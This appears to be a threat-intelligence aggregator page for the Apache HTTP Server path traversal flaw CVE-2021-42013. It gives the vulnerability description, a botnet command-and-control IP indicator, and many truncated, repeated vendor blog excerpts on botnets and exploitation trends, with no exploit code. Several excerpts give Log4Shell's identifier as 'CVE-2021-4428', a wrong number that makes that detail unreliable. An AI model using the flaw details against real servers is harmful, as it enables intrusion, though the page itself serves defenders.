A flaw was found in a change made to path normalization in Apache HTTP Server 2.4.49 and 2.4.50. An attacker could use a path traversal attack to map URLs to files outside the expected document root. If files outside of the document root are not protected by "require all denied" these requests can succeed. Additionally, this flaw could leak the source of interpreted files like CGI scripts. In certain configurations, for instance if mod_cgi is enabled, this flaw can lead to remote code execution. This issue only affects Apache 2.4.49 and 2.4.50 and not earlier versions. Note - CVE-2021-42013 is due to an incomplete fix for the original vulnerability CVE-2021-41773.
Template:
id: CVE-2021-42013
info:
name: Apache 2.4.49/2.4.
abuse.ch
RedTail - botnet command-and-control server (IP address and port)
abuse_ch·2026-06-25
CVE-2021-41773 RedTail - botnet command-and-control server (IP address and port)
ThreatFox IOC: RedTail botnet command-and-control server
Indicator Type: IP address and port
Tags: apache-rce
Reference: https://speculus.co/search?ip=212.127.91.32
Confidence: 50%
Trendmicro
RondoDox: From Targeting Pwn2Own Vulnerabilities to Shotgunning Exploits
blogs_trendmicro·2025-10-09·CVSS 8.8
[HIGH] RondoDox: From Targeting Pwn2Own Vulnerabilities to Shotgunning Exploits
Cyber Threats
## RondoDox: From Targeting Pwn2Own Vulnerabilities to Shotgunning Exploits
Trend™ Research and ZDI Threat Hunters have identified a large-scale RondoDox botnet campaign exploiting over 50 vulnerabilities across more than 30 vendors, including flaws first seen in Pwn2Own contests.
By: Deep Patel, Ashish Verma, Simon Dulude, Peter Girnus Oct 09, 2025 Read time: ( words)
Save to Folio
Trend customers can be reassured that they have been protected against vulnerabilities like CVE-2023-1389 since it was disclosed at Pwn2Own.
Below is the timeline showing key events in the RondoDox vulnerability, from discovery to exploitation:
December 6, 2022: Tri Dang and Bien Pham (@bienpnn) from Qrious Secure exploit the WAN interface of TP-Link AX1800 at Pwn2Own Toronto 2022 .
Januar
Trendmicro
RondoDox: From Targeting Pwn2Own Vulnerabilities to Shotgunning Exploits
blogs_trendmicro·2025-10-09·CVSS 8.8
[HIGH] RondoDox: From Targeting Pwn2Own Vulnerabilities to Shotgunning Exploits
Cyber Threats
## RondoDox: From Targeting Pwn2Own Vulnerabilities to Shotgunning Exploits
The Trend Zero Day Initiative™ (ZDI) and Trend™ Research teams have identified a large-scale RondoDox botnet campaign exploiting over 50 vulnerabilities across more than 30 vendors, including flaws first seen in Pwn2Own contests.
By: Deep Patel, Ashish Verma, Simon Dulude, Peter Girnus Oct 09, 2025 Read time: ( words)
Save to Folio
Trend customers can be reassured that they have been protected against vulnerabilities like CVE-2023-1389 since it was disclosed at Pwn2Own.
Below is the timeline showing key events in the RondoDox vulnerability, from discovery to exploitation:
December 6, 2022: Tri Dang and Bien Pham (@bienpnn) from Qrious Secure exploit the WAN interface of TP-Link AX1800 at Pwn2Ow
Trendmicro
RondoDox: From Targeting Pwn2Own Vulnerabilities to Shotgunning Exploits
blogs_trendmicro·2025-10-09
RondoDox: From Targeting Pwn2Own Vulnerabilities to Shotgunning Exploits
Cyber Threats
# RondoDox: From Targeting Pwn2Own Vulnerabilities to Shotgunning Exploits
Trend™ Research and ZDI Threat Hunters have identified a large-scale RondoDox botnet campaign exploiting over 50 vulnerabilities across more than 30 vendors, including flaws first seen in Pwn2Own contests.
By: Deep Patel, Ashish Verma, Simon Dulude, Peter Girnus
2025/10/09
Read time: ( words)
Save to Folio
Key takeaways
- The campaign exposes organizations to the risks of data exfiltration, persistent network compromise, and operational disruption for organizations with exposed infrastructure.
- Organizations operating internet-facing network devices are at heightened risk. Active exploitation has been observed globally since mid-2025, with several CVEs now included in CISA’s Known Exploited Vul
Trendmicro
RondoDox: From Targeting Pwn2Own Vulnerabilities to Shotgunning Exploits
blogs_trendmicro·2025-10-09·CVSS 8.8
[HIGH] RondoDox: From Targeting Pwn2Own Vulnerabilities to Shotgunning Exploits
Cyber Threats
## RondoDox: From Targeting Pwn2Own Vulnerabilities to Shotgunning Exploits
Trend™ Research and ZDI Threat Hunters have identified a large-scale RondoDox botnet campaign exploiting over 50 vulnerabilities across more than 30 vendors, including flaws first seen in Pwn2Own contests.
By: Deep Patel, Ashish Verma, Simon Dulude, Peter Girnus 2025/10/09 Read time: ( words)
Save to Folio
Trend customers can be reassured that they have been protected against vulnerabilities like CVE-2023-1389 since it was disclosed at Pwn2Own.
Below is the timeline showing key events in the RondoDox vulnerability, from discovery to exploitation:
December 6, 2022: Tri Dang and Bien Pham (@bienpnn) from Qrious Secure exploit the WAN interface of TP-Link AX1800 at Pwn2Own Toronto 2022 .
January
Trendmicro
RondoDox: From Targeting Pwn2Own Vulnerabilities to Shotgunning Exploits
blogs_trendmicro·2025-10-09·CVSS 8.8
[HIGH] RondoDox: From Targeting Pwn2Own Vulnerabilities to Shotgunning Exploits
Ciberamenazas
## RondoDox: From Targeting Pwn2Own Vulnerabilities to Shotgunning Exploits
The Trend Zero Day Initiative™ (ZDI) and Trend™ Research teams have identified a large-scale RondoDox botnet campaign exploiting over 50 vulnerabilities across more than 30 vendors, including flaws first seen in Pwn2Own contests.
By: Deep Patel, Ashish Verma, Simon Dulude, Peter Girnus Oct 09, 2025 Read time: ( words)
Save to Folio
Trend customers can be reassured that they have been protected against vulnerabilities like CVE-2023-1389 since it was disclosed at Pwn2Own.
Below is the timeline showing key events in the RondoDox vulnerability, from discovery to exploitation:
December 6, 2022: Tri Dang and Bien Pham (@bienpnn) from Qrious Secure exploit the WAN interface of TP-Link AX1800 at Pwn2Ow
Wiz
Crying Out Cloud Newsletter - August 2025 | Wiz
blogs_wiz·2025-08-10·CVSS 9.0
[CRITICAL] Crying Out Cloud Newsletter - August 2025 | Wiz
Welcome back! This month we’ve seen a lot of action, with both vulnerabilities and security incidents that have left users affected. We bring you the latest cloud security highlights, to help you stay informed and stay secure. Let's dive in.
## 🔍 Highlights
## Soco404 Cryptomining Campaign Exploits PostgreSQL and Cloud Misconfigurations
Wiz Research has uncovered the Soco404 campaign. A sophisticated, multi-platform cryptomining operation targeting cloud environments through exposed PostgreSQL instances, vulnerable Apache Tomcat servers, and other misconfigurations. The campaign delivers Linux and Windows payloads via fake 404 error pages embedded with base64 malware hosted on compromised or deceptive websites, including Google Sites and fraudulent crypto platforms. The attackers use a
Greynoiseio
U.S. and UK Warn of Russian Cyber Threats: 9 of 12 GreyNoise-Tracked Vulnerabilities in the Advisory Are Being Probed Right Now
blogs_greynoiseio·2024-10-17
U.S. and UK Warn of Russian Cyber Threats: 9 of 12 GreyNoise-Tracked Vulnerabilities in the Advisory Are Being Probed Right Now
CVE Disclosure Early Warning Get an early warning when traffic spikes indicate a high likelihood of new disclosures
Compromised Asset Detection Find out immediately if an asset communicates with a malicious IP address
Vulnerability Prioritization Get real-time insight into active exploitation trends to better understand risk and severity
SOC Efficiency Filter out noisy, low priority and false-positive alerts from mass internet scanners
Incident Investigation Add context to incidents to speed the determinations of scope and timelines
Threat Hunting Quickly identify anomalous behavior and enrich your threat hunting campaigns
Why GreyNoise
CVE Disclosure Early Warning Get an early warning when traffic spikes indicate a high likelihood of new disclosures
Compromised Asset Detection Fin
Zscaler
Key AI Trends: 2024 AI Security Report | Zscaler
blogs_zscaler·2024-03-27
Key AI Trends: 2024 AI Security Report | Zscaler
Provide users with seamless, secure, reliable access to applications and data.
Build and run secure cloud apps, enable zero trust cloud connectivity, and protect workloads from data center to cloud.
Provide zero trust connectivity for IoT and OT devices and secure remote access to OT systems.
Provide zero trust site-to-site connectivity and reliable access to B2B apps for partners.
Industry Report
Zscaler: A Leader in the 2025 Gartner® Magic Quadrant™ for Security Service Edge (SSE)
USE CASES
INDUSTRY & MARKET SOLUTIONS
PARTNERS
TECHNOLOGY PARTNERS
Resource Center
Events & Trainings
Security Research & Services
Tools
Community & Support
CXO REVOLUTIONARIES
Amplifying the voices of real-world digital and zero trust pioneers
Discover how it began and where it’s going
Meet o
Wiz
Crying Out Cloud - February Newsletter | Wiz
blogs_wiz·2024-02-01·CVSS 9.8
CVE-2023-33246 [CRITICAL] Crying Out Cloud - February Newsletter | Wiz
This month we’ve seen a lot of action, with both vulnerabilities and security incidents that have left users affected. We bring you the latest cloud security highlights, to help you stay informed and stay secure. Let's dive in.
Here are our top picks!
## 🐞 High Profile Vulnerabilities
Apache RocketMQ RCE vulnerability exploited in-the-wild
In August 2023 researchers identified attackers exploiting CVE-2023-33246, a critical vulnerability in Apache RocketMQ, to install the DreamBus bot, a malware strain last reported about publicly in 2021. On January 5, 2024 Apache stated that the patch for CVE-2023-33246 was in fact insufficient, and an additional CVE was assigned to the bypass - CVE-2023-37582. The latter vulnerability is also being exploited in the wild, so it is recommended to patc
Tenable
Cybersecurity Snapshot: Critical Infrastructure Orgs Cautioned About Chinese Drones, While Water Plants Advised To Boost Incident Response
blogs_tenable·2024-01-19
Cybersecurity Snapshot: Critical Infrastructure Orgs Cautioned About Chinese Drones, While Water Plants Advised To Boost Incident Response
## Cloud Exposure
Tenable Cloud Security (CNAPP) Request a demo
Tenable Cloud Vulnerability Management Request a demo
Tenable CIEM Request a demo
Secure your cloud
## Vulnerability Exposure
Tenable Vulnerability Management Try for free
Tenable Security Center Request a demo
Tenable Web App Scanning Try for free
Tenable Patch Management Request a demo
Tenable Enclave Security Request a demo
Tenable Attack Surface Management Request a demo
Tenable Nessus Try for free
## AI Exposure
Tenable AI Exposure Request a demo
## OT/IoT Exposure
Tenable OT Security Request a demo
## Identity Exposure
Tenable Identity Exposure Request a demo
## Business needs
Active Directory
AI Security Posture Management (AI-SPM)
AWS security
Azure security
Cloud Security Posture Man
Bleepingcomputer
FBI: Androxgh0st malware botnet steals AWS, Microsoft credentials
blogs_bleepingcomputer·2024-01-16·CVSS 9.8
[CRITICAL] FBI: Androxgh0st malware botnet steals AWS, Microsoft credentials
## FBI: Androxgh0st malware botnet steals AWS, Microsoft credentials
## Sergiu Gatlan
CISA and the FBI warned today that threat actors using Androxgh0st malware are building a botnet focused on cloud credential theft and using the stolen information to deliver additional malicious payloads.
This botnet was first spotted by Lacework Labs in 2022 and was controlling over 40,000 devices almost one year ago, according to Fortiguard Labs data.
It scans for websites and servers vulnerable to the following remote code execution (RCE) vulnerabilities: CVE-2017-9841 (PHPUnit unit testing framework), CVE-2021-41773 (Apache HTTP Server), and CVE-2018-15133 (Laravel PHP web framework).
"Androxgh0st is a Python-scripted malware primarily used to target .env files that contain confidential informat
Tenable
AA23-215A: 2022's Top Routinely Exploited Vulnerabilities
blogs_tenable·2023-08-03
AA23-215A: 2022's Top Routinely Exploited Vulnerabilities
## Cloud Exposure
Tenable Cloud Security (CNAPP) Request a demo
Tenable Cloud Vulnerability Management Request a demo
Tenable CIEM Request a demo
Secure your cloud
## Vulnerability Exposure
Tenable Vulnerability Management Try for free
Tenable Security Center Request a demo
Tenable Web App Scanning Try for free
Tenable Patch Management Request a demo
Tenable Enclave Security Request a demo
Tenable Attack Surface Management Request a demo
Tenable Nessus Try for free
## AI Exposure
Tenable AI Exposure Request a demo
## OT/IoT Exposure
Tenable OT Security Request a demo
## Identity Exposure
Tenable Identity Exposure Request a demo
## Business needs
Active Directory
AI Security Posture Management (AI-SPM)
AWS security
Azure security
Cloud Security Posture Man
Qualys
NSA Alert: Topmost CVEs Actively Exploited By People’s Republic of China State-Sponsored Cyber Actors
blogs_qualys·2022-10-07·CVSS 10.0
[CRITICAL] NSA Alert: Topmost CVEs Actively Exploited By People’s Republic of China State-Sponsored Cyber Actors
## Table of Contents
Detect & Prioritize 20 Publicly Known Vulnerabilities using VMDR 2.0
Identify Vulnerable Assets using Qualys Threat Protection
Recommendations & Mitigations
Contributors
On October 6, 2022, the United States National Security Agency (NSA) released a cybersecurity advisory on the Chinese government—officially known as the People’s Republic of China (PRC) states-sponsored cyber actors’ activity to seek national interests. These malicious cyber activities attributed to the Chinese government targeted, and persist to target, a mixture of industries and organizations in the United States. They provide the top CVEs used since 2020 by the People’s Republic of China (PRC) states-sponsored cyber actors as evaluated by the National Security Agency (NSA), Cybersecurity and I
Qualys
NSA Alert: Topmost CVEs Actively Exploited By PRC Sponsored Cyber Actors | Qualys
blogs_qualys·2022-10-07
NSA Alert: Topmost CVEs Actively Exploited By PRC Sponsored Cyber Actors | Qualys
#### Table of Contents
- Detect & Prioritize 20 Publicly Known Vulnerabilities using VMDR 2.0
- Identify Vulnerable Assets using Qualys Threat Protection
- Recommendations & Mitigations
- Contributors
On October 6, 2022, the United States National Security Agency (NSA) released a cybersecurity advisory on the Chinese government—officially known as the People’s Republic of China (PRC) states-sponsored cyber actors’ activity to seek national interests. These malicious cyber activities attributed to the Chinese government targeted, and persist to target, a mixture of industries and organizations in the United States. They provide the top CVEs used since 2020 by the People’s Republic of China (PRC) states-sponsored cyber actors as evaluated by the National Security Agency (NSA), Cybersecurit
Tenable
Top 20 CVEs Exploited by People's Republic of China State-Sponsored Actors (AA22-279A)
blogs_tenable·2022-10-07
Top 20 CVEs Exploited by People's Republic of China State-Sponsored Actors (AA22-279A)
## Cloud Exposure
Tenable Cloud Security (CNAPP) Request a demo
Tenable Cloud Vulnerability Management Request a demo
Tenable CIEM Request a demo
Secure your cloud
## Vulnerability Exposure
Tenable Vulnerability Management Try for free
Tenable Security Center Request a demo
Tenable Web App Scanning Try for free
Tenable Patch Management Request a demo
Tenable Enclave Security Request a demo
Tenable Attack Surface Management Request a demo
Tenable Nessus Try for free
## AI Exposure
Tenable AI Exposure Request a demo
## OT/IoT Exposure
Tenable OT Security Request a demo
## Identity Exposure
Tenable Identity Exposure Request a demo
## Business needs
Active Directory
AI Security Posture Management (AI-SPM)
AWS security
Azure security
Cloud Security Posture Man
Unit42
Attackers Move Quickly to Exploit High-Profile Zero Days: Insights From the 2022 Unit 42 Incident Response Report
blogs_unit42·2022-07-26
Attackers Move Quickly to Exploit High-Profile Zero Days: Insights From the 2022 Unit 42 Incident Response Report
## Executive Summary
Software vulnerabilities remain a key avenue of initial access for attackers according to the 2022 Unit 42 Incident Response Report. While this underscores the need for organizations to operate with a well-defined patch management strategy, we’ve observed that attackers are increasingly quick to exploit high-profile zero-day vulnerabilities, further increasing the time pressure on organizations when a new vulnerability is disclosed.
The 2022 Unit 42 Incident Response Report analyzes more than 600 incident response cases conducted over the past year alongside in-depth interviews with our incident response experts to identify key patterns and trends that can be used by defenders to prioritize where and how to deploy protections.
Here, we share key insights from the re
Unit42
Attackers Move Quickly to Exploit High-Profile Zero Days: Insights From the 2022 Unit 42 Incident Response Report
blogs_unit42·2022-07-26
Attackers Move Quickly to Exploit High-Profile Zero Days: Insights From the 2022 Unit 42 Incident Response Report
Threat Research Center
Trend Reports
Vulnerabilities
## Attackers Move Quickly to Exploit High-Profile Zero Days: Insights From the 2022 Unit 42 Incident Response Report
Unit 42
Published: July 26, 2022
Trend Reports
Vulnerabilities
Apache Log4j
ProxyLogon
ProxyShell
SonicWall RCE
Unit 42 Incident Response Report
Zero-day
Zoho ManageEngine
## Executive Summary
Software vulnerabilities remain a key avenue of initial access for attackers according to the 2022 Unit 42 Incident Response Report . While this underscores the need for organizations to operate with a well-defined patch management strategy, we’ve observed that attackers are increasingly quick to exploit high-profile zero-day vulnerabilities, further increasing the time pressure on organizations when a new vulnera
Unit42
Top CVEs to Patch: Insights from the 2022 Unit 42 Network Threat Trends Research Report
blogs_unit42·2022-07-21·CVSS 9.8
CVE-2017-5638 [CRITICAL] Top CVEs to Patch: Insights from the 2022 Unit 42 Network Threat Trends Research Report
Threat Research Center
Trend Reports
Vulnerabilities
## Top CVEs to Patch: Insights from the 2022 Unit 42 Network Threat Trends Research Report
Unit 42
Published: July 21, 2022
Trend Reports
Vulnerabilities
Apache Log4j
CVE-2017-5638
CVE-2017-9841
CVE-2018-19986
CVE-2019-02320
CVE-2019-19597
CVE-2019-9082
CVE-2020-14882
CVE-2020-14883
CVE-2020-15505
CVE-2020-15506
CVE-2020-25078
CVE-2020-5902
CVE-2021-21315
CVE-2021-22986
CVE-2021-26855
CVE-2021-31805
CVE-2021-34473
CVE-2021-35464
CVE-2021-38647
CVE-2021-40438
CVE-2021-40539
CVE-2021-41773
CVE-2021-42013
CVE-2021-44228
CVE-2021-45046
CVE-2022-22963
CVE-2022-22965
Network security trends
Unit 42 Network Threat Trends Research Report
## Executive Summary
Tens of thousands of vulnerabilities are repo
Unit42
Top CVEs to Patch: Insights from the 2022 Unit 42 Network Threat Trends Research Report
blogs_unit42·2022-07-21·CVSS 9.8
[CRITICAL] Top CVEs to Patch: Insights from the 2022 Unit 42 Network Threat Trends Research Report
## Executive Summary
Tens of thousands of vulnerabilities are reported every year, but not all are used by threat actors in real-world attacks. There are many reasons for this: a proof of concept (PoC) may not be available for attackers to weaponize, it may be too difficult to exploit the vulnerability, there may be a lack of accessible vulnerable software on the internet, or attackers may simply deem a vulnerability not worth exploiting due to low impact. Real-world defenders need real-world data on which vulnerabilities attackers are choosing to exploit – and where to focus protections.
In the 2022 Unit 42 Network Threat Trends Research Report, we’ve used data captured by the Palo Alto Networks Advanced Threat Prevention security service on Next-Generation Firewall and Prisma SASE from
Fortinet
Enemybot: A Look into Keksec's Latest DDoS Botnet | FortiGuard Labs
blogs_fortinet·2022-04-12
Enemybot: A Look into Keksec's Latest DDoS Botnet | FortiGuard Labs
FORTIGUARD LABS THREAT RESEARCH
Enemybot: A Look into Keksec's Latest DDoS Botnet
By Joie Salvio and Roy Tay | April 12, 2022
In mid-March, FortiGuard Labs observed a new DDoS botnet calling itself “Enemybot” and attributing itself to Keksec, a threat group that specializes in cryptomining and DDoS attacks.
This botnet is mainly derived from Gafgyt’s source code but has been observed to borrow several modules from Mirai’s original source code.
It uses several methods of obfuscation for its strings to hinder analysis and hide itself from other botnets. Furthermore, it connects to a command-and-control (C2) server that is hidden in the Tor network, making its takedown more complicated.
Enemybot has been seen targeting routers from Seowon Intech, D-Link, and exploits a recently reported
Trendmicro
Cyberangriffe auf Open Source-Webserver
blogs_trendmicro·2022-03-03·CVSS 9.8
[CRITICAL] Cyberangriffe auf Open Source-Webserver
APT und gezielte Angriffe
## Cyberangriffe auf Open Source-Webserver
Cyberangriffe auf Open-Source-Webserver wie Apache HTTP Server haben rapide zugenommen. Angriffe wie die Ausführung von Remote-Code, die Umgehung von Zugriffskontrollen, Denial-of-Service oder Cyberjacking dienen dem Mining von Kryptowährungen.
By: Jon Clay Mar 03, 2022 Read time: ( words)
Save to Folio
Originalartikel von Jon Clay, VP, Threat Intelligence
Cyberangriffe auf Open-Source-Webserver wie Apache HTTP Server haben rapide zugenommen. Böswillige Akteure setzen dabei auf Angriffe wie Remote Code Execution (RCE), Umgehung der Zugriffskontrolle, Denial of Service (DoS) oder sogar Cyberjacking, um auf den Servern der Opfer Kryptowährungen zu schürfen. Um Unternehmen vor bösartigen Aktivitäten zu schützen, bedarf
Qualys
Managing CISA Known Exploited Vulnerabilities with Qualys VMDR | Qualys
blogs_qualys·2022-02-23
Managing CISA Known Exploited Vulnerabilities with Qualys VMDR | Qualys
#### Table of Contents
- Situation
- Directive Scope
- CISA Catalog of Known Exploited Vulnerabilities
- Detect CISA Vulnerabilities Using Qualys VMDR
- CISA Exploited RTI
- Detailed Operational Dashboard
- Remediation
- Federal Enterprises and Agencies Can Act Now
- Summary
- Getting Started
CISA released a directive in November 2021, recommending urgent and prioritized remediation of actively exploited vulnerabilities. Both government agencies and corporations should heed this advice. This blog outlines how Qualys Vulnerability Management, Detection & Response can be used by any organization to respond to this directive efficiently and effectively.
## Situation
Last November 2021, the U.S. Cybersecurity and Infrastructure Security Agency (CISA) released a Binding Operational Directiv
Trendmicro
Recent Cyberattacks Increasingly Target Open-source Web Servers
blogs_trendmicro·2022-02-22·CVSS 9.8
CVE-2021-44228 [CRITICAL] Recent Cyberattacks Increasingly Target Open-source Web Servers
APT & Targeted Attacks
# Recent Cyberattacks Target Open-source Web Servers
Malicious actors take advantage of people’s reliance on web servers to perform attacks like remote code execution, access control bypass, denial of service, or even cyberjacking the victim servers to mine cryptocurrencies.
By: Jon Clay
2022/02/22
Read time: ( words)
Save to Folio
As organizations reeled from the Log4Shell vulnerability (CVE-2021-44228), cyberattacks aiming at open-source web servers, like Apache HTTP Server, were rapidly rising. Malicious actors take advantage of people’s reliance on web servers to perform attacks like remote code execution (RCE), access control bypass, denial of service (DoS), or even cyberjacking the victim servers to mine cryptocurrencies.
To protect enterprises against m
Unit42
Network Security Trends: August-October 2021
blogs_unit42·2021-12-21·CVSS 9.8
[CRITICAL] Network Security Trends: August-October 2021
## Executive Summary
Unit 42 researchers continually observe network attacks and search for insights that can assist defenders. Here, we summarize key trends from August-October 2021. In the following sections, we present our analysis of the most recently published vulnerabilities, including the severity distribution. We also classify vulnerabilities to provide a clear view of the prevalence of, say, cross-site scripting or denial of service.
Additionally, we provide insight into how the vulnerabilities are actively exploited in the wild based on real-world data collected from Palo Alto Networks Next-Generation Firewalls. For example, we chart a timeframe showing how frequently the most commonly exploited vulnerabilities were attacked through networks and the locations from which the att
Unit42
Network Security Trends: August-October 2021
blogs_unit42·2021-12-21·CVSS 9.8
CVE-2021-24499 [CRITICAL] Network Security Trends: August-October 2021
Threat Research Center
Trend Reports
Vulnerabilities
## Network Security Trends: August-October 2021
Yue Guan
Published: December 21, 2021
Trend Reports
Vulnerabilities
Attack analysis
Buffer Overflow
Command injection
Cross-site request forgery
Cross-site scripting
CVE-2021-24499
CVE-2021-26084
CVE-2021-32789
CVE-2021-33357
CVE-2021-33766
CVE-2021-34473
CVE-2021-35395
CVE-2021-38647
CVE-2021-40438
CVE-2021-40870
CVE-2021-41773
CVE-2021-42013
Denial of service
Directory traversal
Exploit in the wild
Improper authentication
Information disclosure
Memory corruption
Network security trends
Out-of-bounds read
Privilege escalation
Remote Code Execution
Security feature bypass
SQL injection
## Executive Summary
Unit 42 researchers continually observe net
Trendmicro
How to detect Apache HTTP Server Exploitation
blogs_trendmicro·2021-12-21·CVSS 9.0
CVE-2021-4428 [CRITICAL] How to detect Apache HTTP Server Exploitation
Red
## How to detect Apache HTTP Server Exploitation
With recent news of the critical, zero-day vulnerability Apache Log4Shell, we explore how to detect and protect your Apache HTTP servers.
By: Nitesh Surana Dec 21, 2021 Read time: ( words)
Save to Folio
On December 9, news that a vulnerability in Apache Log4j , a commonly used logging package for Java, was found. If exploited, the vulnerability, officially identified as CVE-2021-4428 and dubbed Log4Shell , can result in remote code execution (RCE) by sending crafted log messaged. If you’re using any of the affected products (Apache Struts, Apache Solr, Apache Druid, Elasticsearch, Apache Dubbo, and VMware vCenter), you can use our Log4j vulnerability tester to identify any vulnerable server applications.
Similar sever, unauthentica
Trendmicro
How to detect Apache HTTP Server Exploitation
blogs_trendmicro·2021-12-21·CVSS 9.0
CVE-2021-4428 [CRITICAL] How to detect Apache HTTP Server Exploitation
Network
# How to detect Apache HTTP Server Exploitation
With recent news of the critical, zero-day vulnerability Apache Log4Shell, we explore how to detect and protect your Apache HTTP servers.
By: Nitesh Surana
2021/12/21
Read time: ( words)
Save to Folio
On December 9, news that a vulnerability in Apache Log4j, a commonly used logging package for Java, was found. If exploited, the vulnerability, officially identified as CVE-2021-4428 and dubbed Log4Shell, can result in remote code execution (RCE) by sending crafted log messaged. If you’re using any of the affected products (Apache Struts, Apache Solr, Apache Druid, Elasticsearch, Apache Dubbo, and VMware vCenter), you can use our Log4j vulnerability tester to identify any vulnerable server applications.
Similar sever, unauthentica
Trendmicro
How to detect Apache HTTP Server Exploitation
blogs_trendmicro·2021-12-21·CVSS 9.0
CVE-2021-4428 [CRITICAL] How to detect Apache HTTP Server Exploitation
Network
## How to detect Apache HTTP Server Exploitation
With recent news of the critical, zero-day vulnerability Apache Log4Shell, we explore how to detect and protect your Apache HTTP servers.
By: Nitesh Surana 2021/12/21 Read time: ( words)
Save to Folio
On December 9, news that a vulnerability in Apache Log4j , a commonly used logging package for Java, was found. If exploited, the vulnerability, officially identified as CVE-2021-4428 and dubbed Log4Shell , can result in remote code execution (RCE) by sending crafted log messaged. If you’re using any of the affected products (Apache Struts, Apache Solr, Apache Druid, Elasticsearch, Apache Dubbo, and VMware vCenter), you can use our Log4j vulnerability tester to identify any vulnerable server applications.
Similar sever, unauthenti
Trendmicro
How to detect Apache HTTP Server Exploitation
blogs_trendmicro·2021-12-21·CVSS 9.0
CVE-2021-4428 [CRITICAL] How to detect Apache HTTP Server Exploitation
Network
## How to detect Apache HTTP Server Exploitation
With recent news of the critical, zero-day vulnerability Apache Log4Shell, we explore how to detect and protect your Apache HTTP servers.
By: Nitesh Surana Dec 21, 2021 Read time: ( words)
Save to Folio
On December 9, news that a vulnerability in Apache Log4j , a commonly used logging package for Java, was found. If exploited, the vulnerability, officially identified as CVE-2021-4428 and dubbed Log4Shell , can result in remote code execution (RCE) by sending crafted log messaged. If you’re using any of the affected products (Apache Struts, Apache Solr, Apache Druid, Elasticsearch, Apache Dubbo, and VMware vCenter), you can use our Log4j vulnerability tester to identify any vulnerable server applications.
Similar sever, unauthen
Trendmicro
This Week in Security News - December 10, 2021
blogs_trendmicro·2021-12-10
This Week in Security News - December 10, 2021
Cyber Crime
# This Week in Security News - December 10, 2021
This week, read about Trend Micro’s predictions for security in the coming year. Also, learn about the Biden administration’s latest initiatives for curtailing attacks on the transport infrastructure.
By: Jon Clay
2021/12/10
Read time: ( words)
Save to Folio
Welcome to our weekly roundup, where we share what you need to know about cybersecurity news and events that happened over the past few days. This week, read about Trend Micro’s predictions for security in the coming year. Also, learn about the Biden administration’s latest initiatives for curtailing attacks on the transport infrastructure.
Read on:
Pushing Forward Key Takeaways from Trend Micro’s Security Predictions for 2022
Because of the Covid-19 pandemic, organi
Trendmicro
Vulnerabilities Exploited for Monero Mining Malware Delivered via GitHub, Netlify
blogs_trendmicro·2021-12-03·CVSS 9.8
CVE-2021-41773 [CRITICAL] Vulnerabilities Exploited for Monero Mining Malware Delivered via GitHub, Netlify
## Vulnerabilities Exploited for Monero Mining Malware Delivered via GitHub, Netlify
We looked into exploitation attempts we observed in the wild and the abuse of legitimate platforms Netlify and GitHub as repositories for malware.
By: Nitesh Surana 2021/12/03 Read time: ( words)
Save to Folio
Earlier this year, a security flaw identified as CVE-2021-41773 was disclosed to Apache HTTP Server Project, a path traversal and remote code execution (RCE) flaw in Apache HTTP Server 2.4.49. If this vulnerability is exploited, it allows attackers to map URLs to files outside the directories configured by Alias-like directives. Under certain configurations where Common Gateway Interface (CGI) scripts are enabled for aliased paths, attackers can also use it for RCE. As the initial fix was deemed
Trendmicro
Über Schwachstellen zum illegalen Monero-Mining
blogs_trendmicro·2021-12-03·CVSS 9.8
[CRITICAL] Über Schwachstellen zum illegalen Monero-Mining
## Vulnerabilities Exploited for Monero Mining Malware Delivered via GitHub, Netlify
We looked into exploitation attempts we observed in the wild and the abuse of legitimate platforms Netlify and GitHub as repositories for malware.
By: Trend Micro Dec 03, 2021 Read time: ( words)
Save to Folio
Originalbeitrag von Nitesh Surana, Threat Research Engineer
Anhänger der Kryptowährungen durchleben schwere Zeiten. Der Bitcoin stürzte ab und es gab aktuell einige Angriffsversuche , so berichtet vom Magazin Spiegel. Auch entdeckten wir vor ein paar Wochen kompromittierte Docker Hub-Konten , die für illegales Kryptowährungs-Mining missbraucht wurden. Nun haben wir uns auch mit entdeckten Exploit-Versuchen und dem Missbrauch der legitimen Plattformen Netlify und GitHub als Repositories für Malwa
Trendmicro
Vulnerabilities Exploited for Monero Mining Malware Delivered via GitHub, Netlify
blogs_trendmicro·2021-12-03·CVSS 9.8
CVE-2021-41773 [CRITICAL] Vulnerabilities Exploited for Monero Mining Malware Delivered via GitHub, Netlify
## Vulnerabilities Exploited for Monero Mining Malware Delivered via GitHub, Netlify
We looked into exploitation attempts we observed in the wild and the abuse of legitimate platforms Netlify and GitHub as repositories for malware.
By: Nitesh Surana Dec 03, 2021 Read time: ( words)
Save to Folio
Earlier this year, a security flaw identified as CVE-2021-41773 was disclosed to Apache HTTP Server Project, a path traversal and remote code execution (RCE) flaw in Apache HTTP Server 2.4.49. If this vulnerability is exploited, it allows attackers to map URLs to files outside the directories configured by Alias-like directives. Under certain configurations where Common Gateway Interface (CGI) scripts are enabled for aliased paths, attackers can also use it for RCE. As the initial fix was deeme
Trendmicro
Vulnerabilities Exploited for Monero Mining Malware Delivered via GitHub, Netlify
blogs_trendmicro·2021-12-03·CVSS 9.8
CVE-2021-41773 [CRITICAL] Vulnerabilities Exploited for Monero Mining Malware Delivered via GitHub, Netlify
## Vulnerabilities Exploited for Monero Mining Malware Delivered via GitHub, Netlify
We looked into exploitation attempts we observed in the wild and the abuse of legitimate platforms Netlify and GitHub as repositories for malware.
By: Trend Micro Dec 03, 2021 Read time: ( words)
Save to Folio
Earlier this year, a security flaw identified as CVE-2021-41773 was disclosed to Apache HTTP Server Project, a path traversal and remote code execution (RCE) flaw in Apache HTTP Server 2.4.49. If this vulnerability is exploited, it allows attackers to map URLs to files outside the directories configured by Alias-like directives. Under certain configurations where Common Gateway Interface (CGI) scripts are enabled for aliased paths, attackers can also use it for RCE. As the initial fix was deemed
Trendmicro
Vulnerabilities Exploited for Monero Mining Malware Delivered via GitHub, Netlify
blogs_trendmicro·2021-12-03·CVSS 9.8
CVE-2021-41773 [CRITICAL] Vulnerabilities Exploited for Monero Mining Malware Delivered via GitHub, Netlify
# Vulnerabilities Exploited for Monero Mining Malware Delivered via GitHub, Netlify
We looked into exploitation attempts we observed in the wild and the abuse of legitimate platforms Netlify and GitHub as repositories for malware.
By: Nitesh Surana
2021/12/03
Read time: ( words)
Save to Folio
Earlier this year, a security flaw identified as CVE-2021-41773 was disclosed to Apache HTTP Server Project, a path traversal and remote code execution (RCE) flaw in Apache HTTP Server 2.4.49. If this vulnerability is exploited, it allows attackers to map URLs to files outside the directories configured by Alias-like directives. Under certain configurations where Common Gateway Interface (CGI) scripts are enabled for aliased paths, attackers can also use it for RCE. As the initial fix was deemed
Qualys
